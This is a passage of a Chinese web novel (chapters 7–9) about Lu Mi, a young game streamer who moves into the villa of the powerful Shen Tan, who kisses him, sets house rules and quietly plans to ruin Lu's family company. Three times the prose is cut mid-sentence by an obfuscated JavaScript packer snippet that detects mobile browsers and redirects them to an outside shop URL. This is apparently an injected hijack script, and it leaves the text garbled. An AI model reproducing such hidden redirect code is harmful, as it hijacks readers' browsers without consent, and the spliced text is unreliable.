“老板平时一直住在这里。”一路上周风都没说话,进了门才开口。 路弥拘谨地跟在他身后,有些不知所措。 别墅内的装修非常简洁,但路弥看得出来,不管是地面还是头顶的灯,都要比路家那些继母亲手挑选的家具昂贵许多。 路弥低着头手指不断摩挲着。 “一楼是客厅、餐厅、厨房,每天会有阿姨来定时做饭收拾东西。”周风似乎并没有发现他的局促,尽职向他介绍着:“您的卧室在二楼左拐第二间,二楼是私人领域,我不方便领您上去。” 周风说着把行李箱还给了路弥。 路弥抓着拉杆,抿了抿唇。 沈谈虽然不在,但这是沈谈家。 他站在原地没动,周风问:“路弥少爷,有什么事情需要吩咐我吗?” 路弥连忙摇头。 “那我就先离开了。”周风的任务就是把人接回家中。 他说完不动声色打量着面前的男生。 比三年前初见那次长高了一点,也长开了,更加漂亮。 老板会因为他发那么大火把人送进去,也是理所当然。 收回目光,周风正准备转身离开,听见男生很轻地说了句:“……等等。” 路弥不安地用指腹蹭着行李箱的拉杆,睫毛颤抖着,“沈先生什么时候回来?” 周风笑了下,“还不确定,要看那边的会议结束时间,以及航班的时间。” 意思就是,今晚并不会回来。 路弥松了口气,抬起头看着周风,“谢谢。” 等出了别墅,周风给沈谈发了信息: “老板,路弥少爷已经到家了,按照您的意思,并没有告诉他您今晚会回来。” 别墅里,路弥小心翼翼站在被推开的房门外面。 和他预想中的卧室风格并不一样。 卧室里的灯开着,正中间摆着一张双人床,床单和被褥是统一的米白色,床的对面摆了一张质地看起来十分柔软的大沙发。 落地窗的窗帘并没有拉上,能看见外面的月亮。 窗帘是不透光的米白色。 整个卧室看起来明亮又温暖。 和沈谈的风格并不相符。 也许,这并不是沈谈的卧室。 路弥脱了鞋,光着脚踩进去。 地上铺了柔软的地毯,并不会冷。 路弥试探着在地毯上抬起脚,又落下,抬起脚,又落下。 脚底蹭在地毯上,偶尔会传来痒意,路弥很怕痒,但是又觉得这样很舒服,忍不住笑了起来。 没一会儿,他脸就被痒红了。 拿手背贴了贴脸颊,路弥才舍得停下刚刚那幼稚的动作,慢吞吞在地毯上坐下,屁股挪了挪,靠在了床边。 心情莫名松懈了下来。 没有人会不喜欢这么温暖又舒适的地方,哪怕不知道前面等着自己的是什么。 屋子里大概开了暖气,没多久路弥就热得出了一身汗。 他把厚外套脱掉,身上只剩下一件毛衣,但出了汗并不舒服。 犹豫了好久,路弥从行李箱里翻出来一套睡衣,去了浴室。 沈谈今晚不会回来给了他很大的勇气。 浴室也很大。 路弥在里面待得玻璃门上全是水雾,估计是时间太久,浴室里实在太闷,闷得路弥有些喘不过气来,他被熏得满脸通红,不得不把自己擦干后匆匆穿上睡衣就出来,连睡衣扣子都没扣好。 只是刚出浴室的门,路弥就听见了脚步声。 路弥一愣,抬头看向卧室门口。 他并没有关门。 脚步声越来越近,近得路弥心跳声也越来越快。 他连忙去扣衣服扣子,视线牢牢锁着门口位置。 最后两颗扣子还没扣上,脚步声停在了卧室外面。 抓着扣子的指腹打滑,差点把本就做工粗糙的扣子一把扯下。 路弥一只手抓着睡衣领口,看着出现在卧室门口的沈谈。 7. 亲吻 沈谈一身黑色大衣,里面是一套同色西装,他人高肩宽腿长,如果不看他的脸,会让人觉得这大抵是哪个很受欢迎的男模,虽然配上他那张脸,也能超越绝大多数男模,但应该并没有哪个模特有他这般气质。 光是站在那里就让路弥脸上血色褪尽。 路弥唇瓣微张,显然是被吓到,双腿不停地小幅度往后退着,最后牢牢抵在床沿,差点没稳住身形直接摔坐下去。 沈谈的私人助理不是说沈谈并不会回来? 还是自己理解错了助理的意思。 路弥开始后悔自己得意忘形的行为,因为从来没在这么舒适的环境中享受过,一时间鬼迷心窍忘记了这是沈谈的别墅。 他微微发了呆,沈谈已经脱掉身上大衣挂在臂弯,一手提起他的行李箱走进卧室,“怎么不把行李箱拿进来?我给你留了衣柜。” 沈谈说着人已经到了衣柜前,拉开衣柜门,路弥还没完全反应过来,只看见衣柜里一半都是沈谈的衣服,清一色的黑、灰色系正装,还有几套同色系居家服,验证了他的猜想,果然温馨的米白色并不是沈谈的风格。 只是现在,路弥完全搞不清沈谈在做什么。 沈谈半蹲在他面前,背对着他,打开了他的行李箱。 路弥张了张嘴,还没来得及制止,沈谈就已经从里面拿出他的衣服,一件一件挂到衣柜里。 路弥的衣服都是廉价品,还穿了好几年。 高中以后路弥就没怎么长身体,衣服尺码没有变过,衣服也就没怎么换过。 和沈谈那些昂贵的衣服完全不一样。 “……沈先生。”路弥没忍住开口。 沈谈正蹲在地上从行李箱里拿出最后一件衣服。 是沈谈那天让路弥穿回去的大衣,和沈谈今天穿回来的这件似乎是同一个款式。 他把大衣搭在臂弯,侧过身来,自下而上看着路弥,那双深邃的眼睛锁定在路弥脸上,“想说什么?” 路弥没法从沈谈语气中听出什么情绪,就像他不能理解沈谈这样的人为什么会做这种事。 路弥被他看得不敢呼吸,好一会儿才轻声说:“我可以自己整理的。” “我以为你放在那里是不想住进来,所以才动了手。”沈谈说着起身把手中的大衣挂进衣柜。 却不是挂在他的衣服那边,而是挂在了路弥那些衣服的最外侧。 似乎那是属于路弥的东西一般。 “我不是这个意思……”路弥确实是这么想的,但他不能让沈谈知道。 “就算你是这个意思也没关系,现在我不是已经让它们物归原位了吗?” 沈谈的话听起来好像并不在意,可路弥还是觉得他大概有些生气。 况且这哪里算是物归原位。 这里明明是沈谈的家。 他的东西和这里格格不入。 路弥垂下眼躲开沈谈那能把人看透的目光,领口因为他微微低头耸肩的动作大开,锁骨凹出漂亮的形状。 他身上留存着沐浴露的香气,是沈谈特意替他挑选的铃兰花香。 沈谈声音比之前更加低沉:“看起来你不喜欢坐在床上。” 路弥的视野里,他抬起腿往沙发的方向走了过去。 沈谈的话让路弥扭头看了眼自己身后的床,又连忙摇头否认。 他根本没想过要坐下,谈何喜欢不喜欢。 沈谈却好像没看见他这小幅度的回应,在沙发上坐下,往后一靠,双腿微微分开往前伸,几乎快占据了一整个床和沙发之间的距离,沈谈一边扯开打得一丝不苟的领带,一边目视着路弥:“既然不喜欢就换个地方坐,过来。” 路弥双手捏着老旧的睡衣下摆,无措地看向沈谈,又说不出拒绝的话,只能一步步挪过去。 沙发很大,沈谈身边空出一大片位置,只是他一只手搭在沙发背上,占据了右边的所有的位置,路弥又不敢绕过他坐到左边,也不敢坐到离他最远的沙发角落,只能选了个适中的位置坐下。 明明沈谈没碰到他,路弥却觉得后背似乎有什么东西,迫使他挺直脊背。 他完全不会掩藏自己的情绪。 沈谈唇角小幅度往上扯了下,身体往前直起朝路弥侧过身,“我看不见,需要你帮我把领带解开。” “路弥。” 听见自己的名字,路弥不由自主屏住了呼吸,他大概是有什么问题,居然觉得沈谈喊他名字的时候莫名温和。 只是解领带这种事,听起来无端亲密又暧昧。 在沈谈提出他们会住在一起的时候路弥就知道会发生什么。 如今只是解领带这种小事而已。 路弥眼皮颤了颤,转过身视线在触及沈谈视线的那一瞬间就立马躲开,只是哪怕看不见,他都能感觉到沈谈在看着自己,目不转睛的,目光深邃的。 那种感觉令他心悸。 他低着头伸手,但两人之间的距离不足以让他能够成功帮沈谈解开领带,他只能不断缩小跟沈谈之间的距离,一直到他的手能完全够到已经被沈谈松开的领结。 明明只需要轻轻一拽就可以取下。 路弥低着头双手握着沈谈的领带,余光里,沈谈扣得一丝不苟的衬衫上方,凸起的喉结上下滑动,衬衫底下的肌肉紧贴着厚实的布料。 沈谈身上似乎有香水的气味,大抵是女性香水,闻起来是容易令人头晕目眩的甜腻。 不知不觉他跟沈谈居然已经靠得这么近了。 近到沈谈的呼吸就在他头顶上方,只要他再坐直一点,头顶就会抵住沈谈下巴。 路弥屏住呼吸手微微发颤,终于成功把领结解开,他松了口气,“沈先生,好了……” 正要松手,腰间陡然一紧。 路弥张开嘴惊呼声还没溢出口,人已经完完全全转了个面,最要紧的是,他坐的地方从沙发变成了沈谈的腿。 沈谈双手握着他的腰,轻而易举就把他举了起来。 他连反应的时间都没有,就已经被迫分开双腿坐到了沈谈腿上,和沈谈面对着面。 手里还拽着那几秒里过于惊慌而落入他手的沈谈的领带。 沈谈双手握着路弥细瘦得一只手就能掐住的腰,手指似乎是安抚性地隔着衣服在腰间拍了拍,“放轻松,你这样会把我的腿压伤。” 路弥太过僵硬,压下来的力道比放松时候更加重。 这点力对沈谈来说根本算不上什么。 但路弥显然被这话吓到,连忙抬起臀试图从沈谈身上下去,可是还没能成功,他就又把沈谈摁着腰摁回去。 沈谈微低着头似笑非笑看着他,“没有让你起来,你看起来很慌乱,是觉得我会对你做什么吗?” 在卧室里把他抱到腿上,哪怕隔着厚厚的衣服布料,路弥都能感受到沈谈大腿传递给自己的热度,沈谈的掌心贴合着他腰部凹陷的位置,那片地方是很多人的敏感地带,路弥也毫不例外,明明自己碰没什么感觉,但沈谈的手放在那里就让他觉得痒,让他无处安放的双手此刻更加无力。 就算路弥是个未经情事的人也明白会发生些什么,沈谈的问题听起来多此一举,但他又不得不回答,“……不是。” 他又不能忤逆沈谈。 只是这种过于亲密的行为对他来说太陌生,让他无所适从,而沈谈那条深蓝色领带挂在他右手食指上晃荡,似乎随时都会掉下去。 “那你猜错了。”沈谈的声音比之前更加低沉,饱含着连路弥都已经听出来的情/欲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727533|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 路弥呼吸顿住,唇瓣微张,湿润的舌尖在齿尖若隐若现,在听见沈谈这话的一瞬间血色充斥着他的全身,他还没能做出什么反应,沈谈的手已经压着他的后背,把他推向自己。 唇瓣相贴的感觉过于陌生,路弥大脑一片空白,软肉相触的感官越发鲜明。 沈谈咬着他的唇肉又松开,反复几次,撬开他本就微张的齿缝,汲取他口中新鲜的氧气,让他没办法自主呼吸,只能寻求帮助一样双手抓住沈谈宽阔的肩膀,胸口不断地剧烈地起伏着,喉间溢出呜咽。 唇被陡然松开,路弥大口大口地喘着气,脸涨得通红,连眼睛都变得润红。 沈谈粗粝的掌心在他后颈细嫩的皮肤上不停地反复地揉搓着,带来刺痒。 堪堪恢复自主呼吸的能力,沈谈又一次扣着他的后颈,比刚才更加粗暴地吻住了他。 路弥从未和人如此亲密相处,不懂情事,不知回应,可身体会做出自然反应,腰身逐渐软榻,抗拒慢慢变成无意识的顺从,暧昧的亲吻声变成催化剂,让路弥勾住沈谈的脖颈,小腿曲起搭在沙发上,脚趾蜷缩。 直到沈谈终于松开他,神色晦暗地看着他说:“还记得你在短信上问我什么吗?” 声音带着浓浓的低哑。 沈谈说着用指腹捻去路弥唇上接吻留下的水迹,只不过他一碰,路弥就颤了下,一副完全没从方才的亲吻中缓过来的模样。 沈谈并不催促。 在他预想之中,路弥反应生涩,唇瓣柔软,口腔湿热,若是再不停下,沈谈担心自己会失去控制。 路弥现在太过瘦弱,承受不起他。 “……记得。”许久,路弥呼吸错乱地开口,大脑终于从混沌之中回机,他试图收回环住沈谈的手,却被沈谈按住。 “我忘记了,你要不要再问一遍?”沈谈揉捏着他的手腕,从肩膀取下那条落下来的领带,“你想知道什么,我都会告诉你,只要你问我。” 路弥眼神依然迷离,他无法理解话题为什么会转得这么快,但这无疑让他心底对于这个突如其来的吻的惧怕消散不少,他少有地没有迟疑,而是问:“沈先生,用户97654398是你吗?” “是我。” 沈谈偏着头,没几秒,那条领带系在了路弥右手手腕上。 价格昂贵的领带被系成了蝴蝶结。 答案在路弥预料之中,只是不知道沈谈这么做寓意为何,他没法询问,只能盯着手腕上的蝴蝶结看,沈谈似乎并不擅长这种事,蝴蝶结系得丑陋,但又像是送给他的礼物。 没几秒,沈谈放在一旁的手机响起。 路弥想从沈谈身上下去,又被他摁着腰,被迫近距离听他接起电话。 电话那头是个女声,路弥无意听沈谈讲电话,思绪游离,并没有听真切,只不过短短几十秒的电话后,沈谈搂着他的腰起身,连带着把他一并抱了起来,又把他放下,让他独自坐回沙发上。 沈谈在路弥面前半蹲下来,指腹摁着路弥略微红肿的下唇,让路弥忍不住脑袋往后仰,手指死死抓着沙发表面,努力控制着想要躲避的下意识行为。 沈谈却跟没察觉似的自下而上看着他,唇角往上扬了扬,路弥注意到他唇角有细小的伤口,大概是刚刚不小心被自己的牙齿磨到的。 也不知道沈谈方才算不算是笑了,只短短一瞬间,他神色又跟之前一般冷峻,眼底情欲褪去,声音再度变得低沉又冷漠:“我要出门,今晚不会再回来,你可以安心了。” 他说完起身离开,也没再多做停留。 路弥愣愣地看着被关上的卧室门,慢吞吞双脚踩在柔软的沙发上,挪到角落把自己蜷缩起来,手指捏住领带想要拆开。 片刻后,还是松了手。 8. 家长 路弥记不清自己是什么时候睡着的,醒来的时候他睡得人都快从沙发上滚下去了,卧室里一直响着恼人的铃声。 是摆在床头柜上的电话发出来的。 犹豫了一下,路弥走过去接了电话。 “您好路弥先生,晚餐已经准备好了,您现在方便下来用餐吗?” 这应该是沈谈家的内线电话,电话那头是个中年女性的声音。 路弥愣了一会儿才反应过来,他还没来得及回答,那头的人估计是怕他拒绝,又连忙说:“沈先生吩咐过,之后您的一日三餐一定要准时。” “我现在下来。”路弥也并没打算拒绝,就算对方不说,他也知道是沈谈安排。 更何况他确实饿了。 路弥给自己套了件外套,关上衣柜的时候视线在沈谈挂在自己那边的那件大衣上停留了片刻,把手腕上已经十分松垮的领带解下来,系在了那件大衣的右边袖子上。 打了个十分漂亮的蝴蝶结。 路弥到餐厅的时候餐桌上已经摆好了很多菜,都是很常见的家常菜,就是样式有些多。 “不知道您的口味就多做了些,希望能碰巧有您喜欢的。”王姨笑容和蔼地看着面前的男生。 男生穿着一件宽大的毛衣外套,里面是很普通的棉质睡衣,看起来身形瘦削,皮肤很白,让他看起来有些脆弱,但他又很漂亮。 难怪沈先生会把人接回家养着。 听见这话,路弥抬头看向站在餐桌一旁的中年女性,看见对方脸上和煦的笑,路弥晃了下神,低声说:“谢谢。” 他基本没和这个年纪的女性相处过,多少也有些局促,但比面对沈谈的时候自在多了。 更何况他没在对方眼底看见一点对自己的审视。 不像他每次和继母碰面的时候,继母总是会用那种鄙夷的神情看着他,审视他。 路弥知道什么原因,无非就是怕路南德把钱送到了他手中。 虽然路南德根本不会这么做。 路弥说完低下头沉默了几秒才又偏头看向王姨,抿了抿唇角,“……谢谢拖鞋。” 他脚上穿了双很柔软的毛绒拖鞋,踩起来有种像踩在卧室地毯上的感觉。 “拖鞋?”王姨略有些疑惑。 “就是放在卧室门口的那双。”路弥解释。 他从卧室出来的时候看见门口摆了这双拖鞋,下意识以为是面前的阿姨放的,现在看她的反应……总不能是沈谈吧? 难道沈谈在离开卧室后又回来过? 王姨了然地啊了声,连忙笑着摇头,“那是沈先生给您准备的,二楼是私人领域,我们只有在规定的打扫时间才能上去,其他时间需要征得沈先生和您的认可。” 路弥呆了几秒,“……我的认可?” 王姨笑得更欢了,“是呀,沈先生说过了,您是这里的第二个主人。” 第二个主人? 路弥抿住了勺子,片刻后垂下眼。 那也只是一时的兴起。 沈谈不会永远都这么对他。 沈谈坐在餐厅的角落里,他的对面坐着一个短发女人,女人正上下审视着他,“你看起来像刚从温柔乡里出来,难怪让我在这多等了你两个小时。” 沈谈虽然穿着平时一直穿的西装,不过今天却没有那么一丝不苟。 他没有打领带。 这不像是沈谈这种不管面对谁都非得穿得严丝缝合、表情像每个人都欠了他上千万的债一样冷漠的人会做出来的事情。 “这和我们要谈的生意没关系。”沈谈面不改色。 陈秀无所谓地耸了耸肩,还没来得及说什么,沈谈喝了口水,神色淡淡地说:“不过我确实刚从家里赶来。” 这种话从沈谈口中说出来听起来跟“我确实从温柔乡里出来”没什么区别。 陈秀沉默了一会儿:“我弟说你情窦初开了,我说你都这把年纪了哪门子情窦初开?” 陈秀是陈生的亲姐姐。 沈谈低头翻着文件没说话。 “有空让我们见见?”陈秀还是很好奇,像沈谈这种人到底会对什么人情窦初开。 沈谈没回答这个问题,而是把文件翻到他要找的那一页,递给陈秀,“我听说你五年前投资了一个电竞俱乐部。” 资料上显示陈秀投资的那个俱乐部如今已经落败了。 “怎么了?沈家终于要进军电竞行业了吗?这几年国内电竞行业竞争挺激烈的,不太符合你这种要做就做行业老大的风格,花钱可买不来真正的冠军。”陈秀看了眼资料上明晃晃写着自己投资的那个战队在之前的比赛拿了倒一,不用想也知道沈谈是故意翻到这一页的。 沈谈这人骨子里就变态。 谁被他看上也是倒霉。 “只是随便看看,这不是我们今天要谈的生意,不过我会在婚礼的时候邀请你。”沈谈神色始终没有变,连提婚礼两字的时候都面色平静。 陈秀:“?” 陈秀沉默了一会儿,“婚礼?你要结婚?我弟说那个男生才十九岁,你不觉得自己有点老了吗?” 更何况沈谈这样的人要结婚? 说出去大概也没有人会信。 像他们这样的人,多数的婚姻逃不过联姻,也没什么真情实感,联姻后各过各的也是常态。 沈谈头上虽然没哪个长辈敢管他,但她认识沈谈这么多年,没见沈谈跟谁有过一腿。 现在突然说要结婚,听起来就像一时兴起。 但沈谈这样的人,又确实不是会一时兴起的人,不然他也不会这么多年没一点露水情缘了。 陈秀本来只是说说,现在倒是真想见见那个男生了。 “还好不是陈生继承你家家产,不然陈家早就被我收购了。”沈谈说着把面前另一份文件推到陈秀面前,“两个月前路氏公司和你旗下的一家分公司合作了一个项目。” 陈秀被沈谈的话说得一口气憋得不上不下,只能暂时放弃八卦,“我记得这个项目,失败了,亏了不少。” “我需要你重启这个项目,继续和路氏公司合作,我会填上你亏损的部分,当然亏损越多越好。”灯光下沈谈的神色越发冷漠。 陈秀:“我记得亏损的那些钱已经足以让路氏资金运转困难了吧?你想要收购它,这时候可以直接下手,不过你怎么会对这种小公司感兴趣?” 沈谈掀起眼皮淡淡看了陈秀一眼,“除此以外,还有一块你之前想要的地皮。” 陈秀:“……”知道从沈谈嘴里问不出来什么,陈秀干脆闭嘴。 沈谈低头看着手机,手指动了动,也没抬头,一边打字一边问陈秀:“我记得你在附近有个卖衣服的商场。” 陈秀直觉没什么好事,“怎么?你的衣服不都是定制的吗?” 陈秀说完沉默了一会儿,“……天塌了。” 沈谈居然要给人亲自挑衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727534|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈谈没说话,把消息发出去后直接起身离开了座位。 陈秀抓狂地瞪了一眼在餐厅前台忙碌的亲弟弟一眼,认命地跟着沈谈离开。 不用说也知道沈谈为什么会找她而不是找陈生。 陈生那个穿衣审美,多半得被沈谈阴阳怪气死。 刚吃完饭,路弥放在一旁的手机就震了下,他偏头看了眼。 毫无疑问是沈谈发来的短信。 不知道为什么,路弥想起沈谈身上的女士香水味道,又想起沈谈走之前接的那通电话。 路弥垂着眼点开短信。 沈谈:“忘记跟你说,电脑房在卧室对面,卧室有门禁,晚上十点必须睡觉。” 后面那句话看起来像家长发的。 虽然路弥从小到大都没被家长这么要求过。 路弥抿了抿唇,扭头看向正在收拾东西的王姨,踌躇片刻问:“王姨,沈先生平时几点回来?” 他现在不信沈谈说的什么今晚不会回来这种话了。 按照沈谈回来的时间,周风说沈谈今晚回不来的时候,沈谈已经快落地了。 每次见沈谈,他都得有心理准备才行。 路弥忍不住摸了摸自己的唇。 王姨应了声,“先生平时很少回来的,基本都住在公司,要么就是在外地,如果回来的话,基本是在天还没黑的时候,今天先生不会再回来了。” 路弥眨了眨眼,松了口气,但没给沈谈回消息。 他平时直播都要到十一二点,有时候第二天没课会更晚一些,平台的签约主播要拿保底都有直播时长要求,他基本只有晚上才会直播,必须得播晚一些才能凑够时长。 但他不知道该怎么跟沈谈开这个口。 上了楼,路弥没回卧室,而是直接去了电脑房。 电脑房的装修很简洁,地上和卧室一样铺了柔软的毯子,房间里摆了两台电脑和电竞椅,墙边是个很大的架子,架子上摆了些目的地的游戏周边。 有路弥玩的那个英雄野人的。 路弥记得这个周边已经绝版了,价格被炒得很高。 沈谈居然会收集这种东西。 难道他也很喜欢玩游戏吗? 但是他又确实不像是那种人,也没那个时间。 路弥在房间里转了一圈,思考片刻,拍了几张电脑房的照片,尤其是架子上那个野人的周边。 打开和沈谈的聊天界面,路弥才意识到,他俩用的是短信,没办法发图片。 沈谈应该会用微信吧? 但也许沈谈不会愿意加自己。 留下微信的话,总觉得他们从一种关系,关于变成另一种很普通的从朋友开始的关系。 只能放弃发图片。 给自己做了会儿心理建设,路弥给沈谈回了信息:“我很喜欢电脑房,谢谢沈先生。” 他想让自己的语气尽量不那么生硬,但他从小没试过这样和人打交道,就算是和路南德,他也只会很平铺直叙地提出要求,尽管只有要电脑那么一次,还失败了。 沈谈可能在忙,并没有回复。 “我可以十二点睡觉吗?不然我的直播时长不够。” 路弥删掉打好的字,有些泄气。 他也不敢提。 他是没资格向沈谈提要求的。 他在电竞椅上坐下,打开电脑,没几秒,手机铃声响起。 沈谈给他打了电话。 9. 答应 路弥坐在电竞椅里,脚踩着椅面,下巴搭着膝盖把自己蜷缩起来,右手抓着手机。 电话那头沈谈并没有说话,但有隐隐的背景音。 应该是女性在说话。 路弥垂眸盯着柔软的地毯,放轻呼吸,等似有若无的背景音消失了,他才开口:“沈先生。” 他不知道沈谈为什么会突然给自己打电话,明明听起来应该是在忙,或者是在进行什么重要的约会。 沈谈似乎一直在等着他,很快嗯了声,“你喜欢什么颜色?” 并没有料到沈谈会问这种问题,路弥愣了下,“什么颜色都喜欢。” 事实上他并没有喜欢的颜色,就算有,那也并不重要。 因为并没有人在意,他自己也不在意。 “我以为你会更喜欢浅色。”沈谈似乎并不意外这个回答,语气很淡,“现在听起来你好像很博爱。” 明明只是颜色而已,怎么能用博爱这种词。 路弥张了张嘴试图替自己辩解,“我……” 但话开了个头他又不知道该怎么辩解。 他向来顺从别人意见,不管是路南德也好,其他人也好。 更别提是沈谈了。 意识到这点,路弥抿了抿唇,一只手抓着自己的小腿不断揉捏着,没有再出声。 电话里传来的呼吸比刚才重了点。 沈谈靠在店里的沙发上对工作人员推来的一排衣服点头,半勾了勾唇角问路弥:“你想说什么?是因为我说你博爱你生气了才不说了吗?” “我没有生气。”路弥急忙反驳,连语速都比之前快了不少。 “那就是不想跟我说话,因为我晚上亲了你而立马离开?” 一直在跟着工作人员挑衣服,挑完之后再让沈谈来定夺,踩着高跟鞋忙里忙外的陈秀听见这话不可置信地看了沈谈一眼。 沈谈这是在跟对面的男生耍流氓吗? 陈秀:“……” 换成以前,陈秀很难想象像沈谈这样的人会说出这种话。 沈谈唇边带着很淡的笑意。 路弥猛地抓住自己脚腕,耳朵瞬间变得通红,“不是的,我没有不想跟你说话。” 他不可能因为这种事就和沈谈生气,不跟他说话。 也没有任何立场和资格。 路弥的声音听起来很急,但就算是这样也毫无攻击性,跟亲吻他的时候一样连反抗都没什么力道,沈谈眯了眯眼嗯了声,“就算是这样,以后这种事也会经常发生。” 不用沈谈说,路弥也知道这种事指的是什么。 他脸一下子红透了,下意识咬了咬下嘴唇,还没来得及说什么,沈谈就已经转移话题,“不过既然不是不想跟我说话,那你刚才想说什么?不对,确切地说,是在我给你打电话之前,你想跟我说什么?” 没想到沈谈居然会看出来,路弥用下巴磨蹭着膝盖,“我……” 他还是不知道怎么提,他怕被沈谈拒绝,也怕沈谈觉得自己得寸进尺。 “明天我要出国,不确定会去多久,没时间看你发来的消息。”沈谈慢条斯理说着。 意思很明显了。 如果他现在不说,就没有机会了。 盯着米白色地毯看了片刻,路弥抿紧唇抬起头看向门口,对面就是卧室,是米白色风格的和沈谈格格不入的卧室,回想起沈谈说的以为他更喜欢浅色系,路弥深吸一口气,小心翼翼:“沈先生,我可以十二点再睡觉吗?我晚上需要直播,如果时长不够的话我就拿不到……” 他越说越没有底气。 毕竟直播的那点底薪对沈谈来说根本不算钱,沈谈给他刷的礼物钱已经够支付他很多很多底薪了。 但路弥还是不想放弃那点钱。 那对他来说是以后的保障。 “可以。” 路弥没想到沈谈答应得这么干脆,他已经做好了被拒绝的准备。 大概是从来没向别人提出要求被这么干脆得答应,路弥心跳得很快。 他呆了一会儿,才磕磕绊绊说:“谢,谢谢你沈先生。” “在感谢之前你应该先想想提出让你十点睡觉的人是我,你完全可以不遵守。”沈谈早就猜到路弥想要说什么。 只不过路弥比他想的更听话,也更怕他。 沈谈闭了闭眼,想起路弥推拒自己的时候。 他摸了摸唇边细小的伤口。 手机那头传来路弥低下去的声音。 “……我以为那是必须遵守的家里的规矩。”门禁对路弥来说很陌生。 但又莫名会让人安心。 但原来并不是吗? 不过也是,沈谈大概只是随口一说。 沈谈并没有那么多时间回家,更不可能监督他到底几点睡觉。 路弥垂着眼,刚刚因为被允许在十二点睡觉的喜悦好像淡了很多。 “确实是规矩。”沈谈轻笑了声,不知道是因为什么,他的声音听起来多少有些愉悦,“你现在应该睡觉了,新规矩明天生效。” 愣了几秒,路弥扭头看向还没来得及打开的电脑,小声应:“好的,沈先生。” 今天发生的事情太多,他大概确实没什么状态再打排位。 路弥开直播基本都是在打排位分,如果没有手感的话会打一把匹配来恢复手感,其他娱乐模式对他来说并没有什么挑战性。 今天不播的话明天只需要早一个小时就可以了。 正好明天下午他没有课,沈谈也不会在家。 片刻,路弥轻声补充:“晚安沈先生。” 沈谈嗯了声,即将挂断电话的时候,又听见路弥很小声地说:“……我更喜欢浅色系。” 说完这句话,路弥也不太敢听沈谈说了什么。 他只是产生了一种沈谈打电话过来是特意为了问自己是不是有事要跟他说的错觉而已。 不过也仅仅只是错觉。 沈谈只是笑了声,比刚才更明显的笑,让路弥并没有再怀疑自己到底是不是听错了。 沈谈那边再度传来女人的声音。 沈谈很快地说了句:“知道了。” 似乎隐隐带着笑意。 电话也随之被挂断。 路弥垂着眼靠在膝盖上盯着被挂断的通话界面,有些不清楚沈谈的那句知道了到底是跟谁说的。 不过那也并不重要。 就跟他到底是不是更喜欢浅色系一样。 回到卧室,路弥又去洗了个澡才躺到床上。 现在才九点多,他其实很少这么早休息。 没上大学之前,为了能考上好的大学,他总是会学习到很晚,他在路家住的房间的灯不够明亮,也会耽误一些学习的时间。 后来上了大学,为了直播他也会晚睡。 睡太早反而睡不着。 也可能是因为今天发生的事情太多,再加上傍晚的时候他已经睡过一觉。 视野里能看见床对面的沙发,脑海里会不由自主冒出沈谈在的时候的画面。 路弥连忙爬起来关掉灯,等卧室里一片漆黑了,他才登上直播软件发了条直播间公告告诉大家今晚不直播了。 还没退出去,就看见公会管理给他发的消息:“今天又不直播?” “算了,给你刷礼物那个老板你找人家聊天了吗?不要每次都要我教你怎么做吧?带人家打游戏会吗?能不能学学其他主播?” 大概是因为沈谈礼物刷得够多,让管理暂时性忘记了阿墨的事情。 路弥之前也有过刷大礼物的老板,虽然只是相对来说刷得多,但路弥也确实尝试过带对方打游戏。 但路弥有自己的打法,劣势的时候他更在意自己的发育,很难照顾到老板情绪,他也不爱说话,没办法像其他主播一样给老板提供情绪价值。 那个老板也就没再来过。 不过那时候管理并没有管过他。 但沈谈那么忙,根本不会打游戏。 迷路:“他不打游戏。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727535|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 管理:“不打游戏你就多跟人家聊天啊,聊天你会吗?别当个闷葫芦!学学人家阿墨!” 阿墨是大主播,也确实很会说话,他直播间愿意刷礼物的老板很多。 管理:“那个老板是男是女?你也当了这么久主播了也知道大老板的重要性吧?马上平台要开新活动了,礼物值越高曝光就越高,你把人哄开心了让他多给你刷点你也有机会……” 抿着唇把管理发来的消息看完,路弥只回复:“我是技术主播。” 管理:“也没见你去打职业。” 没再管管理又说了什么,路弥退出了两人的私信界面。 就算不知道那个人是沈谈,路弥也不会去找对方。 更何况他知道了那是沈谈。 沈谈给的已经很多了。 他不能想要更多,也不能想着依靠沈谈。 总有一天沈谈会不再对他感兴趣。 路弥不记得自己是什么时候睡着的,第二天醒来的时候才发现晚上忘记订闹钟了。 他早上有课,这会儿出发去学校很可能赶不上第一节课,沈谈的房子离学校有点距离,别墅区又偏僻,路弥昨天已经查过,就算是最近的车站走路过去也得半小时左右。 上大学这么久,路弥还从来没迟到过,他连忙起床洗漱换衣服冲下楼。 到了楼下,王姨见他往外冲立马把他拦了下来,“路弥先生,您早餐还没吃。” 路弥:“……” 路弥生生停住脚步,他没有吃早餐的习惯,平时一日三餐并不规律。 